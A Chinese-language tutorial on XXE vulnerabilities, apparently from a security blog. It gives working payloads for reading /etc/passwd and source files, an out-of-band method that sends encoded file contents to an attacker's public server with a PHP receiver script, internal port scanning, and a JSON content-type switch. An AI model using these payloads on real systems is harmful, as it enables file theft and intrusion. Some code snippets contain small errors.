xxe漏洞详解

2022-04-27 17:43:22 浏览数 (2)

XML介绍

xml和html都是文本标记语言,不过xml用来进行文本传输,html用来进行文本显示。

xxe漏洞主要是利用了DTD引用外部实体导致的漏洞,xml在引用外部实体时,可以导致命令执行,任意文件读取或者内网端口探测,则命名为xxe漏洞。

一、xml基础

代码语言:javascript复制
***********实体***************
实体必须在DTD中声明定义
DTD文档中有很多重要的关键字如下:
DOCTYPE(DTD的声明)
ENTITY(实体的声明)
SYSTEM、PUBLIC(外部资源申请)

通用实体&内部实体:
<!ENTITY 实体名称 "实体的值">
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY[
 <!ENTITY writer "Bill Gates">
]>
<root>&name;</root>//一个实体由三部分构成: 一个和号 (&), 一个实体名称, 以及一个分号 (;)

通用实体&外部实体:
<!ENTITY 实体名称 SYSTEM "URI/URL">
<!ENTITY writer SYSTEM "file:///etc/passwd" >
<!ENTITY writer SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY[
 <!ENTITY name SYSTEM "file:///etc/passwd" >
]>
<root>&name;</root>

参数实体&内部实体:
<!ENTITY % 实体名称 "实体的值">

参数实体&外部实体:
<!ENTITY % 实体名称 SYSTEM "URI">
<!DOCTYPE ANY [
 <!ENTITY % name SYSTEM "http://localhost/index.html">//参数实体只能在DTD中定义,DTD中引用
 %name; //%实体名;一个实体由三部分构成: 一个 (%), 一个实体名称, 以及一个分号 (;)
]>

一个基本的xml文档如下:

代码语言:javascript复制
<?xml version="1.0" encoding="ISO-8859-1"?> //定义了xml的版本是1.0,使用的编码是ISO-8859-1
//下面为DTD,xml约束
<!DOCTYPE note [ //定义此文档是 note 类型的文档。
 <!ELEMENT note (to,from,heading,body)> //定义 note 元素有四个元素:"to、from、heading、body"
 <!ELEMENT to (#PCDATA)> //定义 to 元素为 "#PCDATA" 类型
 <!ELEMENT from (#PCDATA)> //定义 from 元素为 "#PCDATA" 类型
 <!ELEMENT heading (#PCDATA)> // heading 元素为 "#PCDATA" 类型
 <!ELEMENT body (#PCDATA)> //定义 body 元素为 "#PCDATA" 类型
]>
/*
#PCDATA:元素内容必须为字符串类型<from>John</from> //John应该指的是元素内容
ANY:任意类型
EMPTY:元素内容必须为空 <br /> 
*/
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>

<!ENTITY 实体名称 SYSTEM "URI">中的URI/URL可支持的协议如下

二、xxe

1.参数有回显

代码语言:javascript复制
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
   <!ENTITY name "my name is nMask">
]>
<root>&name;</root>


如果页面输出了my name is nMask说明xml文件可以被解析,那么下一步改包测试是否可以引用外部实体,
是否可以xxe
<?xml version=”1.0” encoding=”UTF-8”?>
<!DOCTYPE ANY [
    <!ENTITY % name SYSTEM "http://localhost/index.html">
    %name; //%实体名;一个实体由三部分构成: 一个 (%), 一个实体名称, 以及一个分号 (;)
]>


或者改为dnslog,看看有没有收到记录,还可以用下面这种测试
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY[
    <!ENTITY name SYSTEM "file:///etc/passwd" >
]>
<root>&name;</root>

2.参数无回显

其实就是参数无回显,就使用公网服务器的恶意xml,加上改包中的xml,将服务器中读取的源码等文件发送给公网的php文件,存为txt。

代码语言:javascript复制
创建hacker.php来供外部实体引用 
<?php 
$xml=<<<EOF 
<?xml version="1.0"?> 
<!DOCTYPE ANY[ 
<!ENTITY % file SYSTEM "file:///etc/passwd"> //被攻击的服务器
<!ENTITY % remote SYSTEM "http://localhost/hacker.xml"> //自建服务器,买一个有公网ip的云服务器
%remote;
%all;
%send; 
]> 
EOF; 
$data = simplexml_load_string($xml) ; //将XML转化为对象 
echo "<pre>" ; 
print_r($data) ; 
?>


下面这个文件就是一般要抓包修改的xml内容
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=C:/phpStudy/scms/conn/conn.php">
<!ENTITY % remote SYSTEM "http://59.63.200.79:8014/xxe/1.xml"> 
%remote;
 %send;
]>


如果源码里有simplexml_load_string那么,也有这种形式
<?php
$test =<<<EOF
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=1.txt">
<!ENTITY % remote SYSTEM "http://127.0.0.1/xxe/pt/1.xml"> 
%remote;
%send; 
]>
EOF;
$obj = simplexml_load_string($test, 'SimpleXMLElement', LIBXML_NOENT);
?> 

代码语言:javascript复制
下面的这两种情况的xml都在我们的公网服务器上
创建hacker.xml 
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://localhost/readdata.php?file=%file;'>">

第二种形式对应的xml
<!ENTITY % all
"<!ENTITY &#x25; send SYSTEM 'http://192.168.1.3/xxe/2.php?id=%file;'>"
%all;

代码语言:javascript复制
结果也会被存储在公网服务器

创建接受数据的文件readdata.php 
<?php 
file_put_contents("result.txt", $_GET'file') ; 
?>

第二种形式对应的php文件,FILE_APPEND表示追加到结果文件
<?php file_put_contents("result.txt",$_GET["id"],FILE_APPEND);?>  

3.内网端口扫描

代码语言:javascript复制
<?xml version=”1.0″ encoding=”utf-8″?>
<!DOCTYPE root [
 <!ELEMENT name ANY >
 <!ENTITY XXE SYSTEM "http://ip:port" >
]>
<root>
<name>&XXE;</name>
</root>

端口开放时会返回报错信息,端口不存在时会无法连接

端口开放会报错,如下

端口不存在会无法连接,如下

4.简单xml拼接漏洞

三、JSON XXE

很多web和移动应用都基于客户端-服务器交互模式的web通信服务,一般对于web服务来说,最常见的数据格式都是XML和JSON。尽管web服务可能在编程时只使用其中一种格式,但服务器却可以接受开发人员并没有预料到的其他数据格式,这就有可能会导致JSON节点受到XXE(XML外部实体)攻击。

代码语言:javascript复制
原始请求:
HTTP Request:
POST /netspi HTTP/1.1
Host: someserver.netspi.com
Accept: application/json
Content-Type: application/json
Content-Length: 38
{"search":"name","value":"netspitest"}

原始响应:
HTTP Response:
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 43
{"error": "no results for name netspitest"}

现在我们尝试将 Content-Type 修改为 application/xml

代码语言:javascript复制
进一步请求和响应:
HTTP Request:
POST /netspi HTTP/1.1
Host: someserver.netspi.com
Accept: application/json
Content-Type: application/xml
Content-Length: 38
{"search":"name","value":"netspitest"}


HTTP Response:
HTTP/1.1 500 Internal Server Error
Content-Type: application/json
Content-Length: 127
{"errors":{"errorMessage":"org.xml.sax.SAXParseException: XML document structures must start and end within the same entity."}}

可以发现服务器端是能处理 xml 数据的,于是我们就可以利用这个来进行攻击

代码语言:javascript复制
最终的请求和响应:
HTTP Request:
POST /netspi HTTP/1.1
Host: someserver.netspi.com
Accept: application/json
Content-Type: application/xml
Content-Length: 288
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE netspi [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<search>name</search>
<value>&xxe;</value>
</root>


HTTP Response:
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 2467
{"error": "no results for name root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync....

四、实例

代码语言:javascript复制
POST /vulnerable HTTP/1.1
Host: www.test.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0
Accept: text/html,application/xhtml xml,application/xml;q=0.9
Accept-Language: en-US,en;q=0.5
Referer: https://test.com/test.html
Content-Type: application/xml
Content-Length: 294
Cookie: mycookie=cookies;
Connection: close
Upgrade-Insecure-Requests: 1
<?xml version="1.0"?>
<catalog>
 <core id="test101">
 <author>John, Doe</author>
 <title>I love XML</title>
 <category>Computers</category>
 <price>9.99</price>
 <date>2018-10-01</date>
 <description>XML is the best!</description>
 </core>
</catalog>



我们发出 带有 xml 的 POST 请求以后,述代码将交由服务器的XML处理器解析。代码被解释并返回:
{“Request Successful”: “Added!”}

但是如果我们传入一个恶意的代码

代码语言:javascript复制
<?xml version="1.0"?>
<!DOCTYPE catalog[
  <!ENTITY xxe SYSTEM "file:///etc/passwd" >
]>
<catalog>
 <core id="test101">
 <author>John, Doe</author>
 <title>I love XML</title>
 <category>Computers</category>
 <price>9.99</price>
 <date>2018-10-01</date>
 <description>&xxe;</description>
 </core>
</catalog>

如果没有做好“安全措施” 就会出现解析恶意代码的情况,就会有下面的返回

代码语言:javascript复制
{"error": "no results for description root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync...

0 人点赞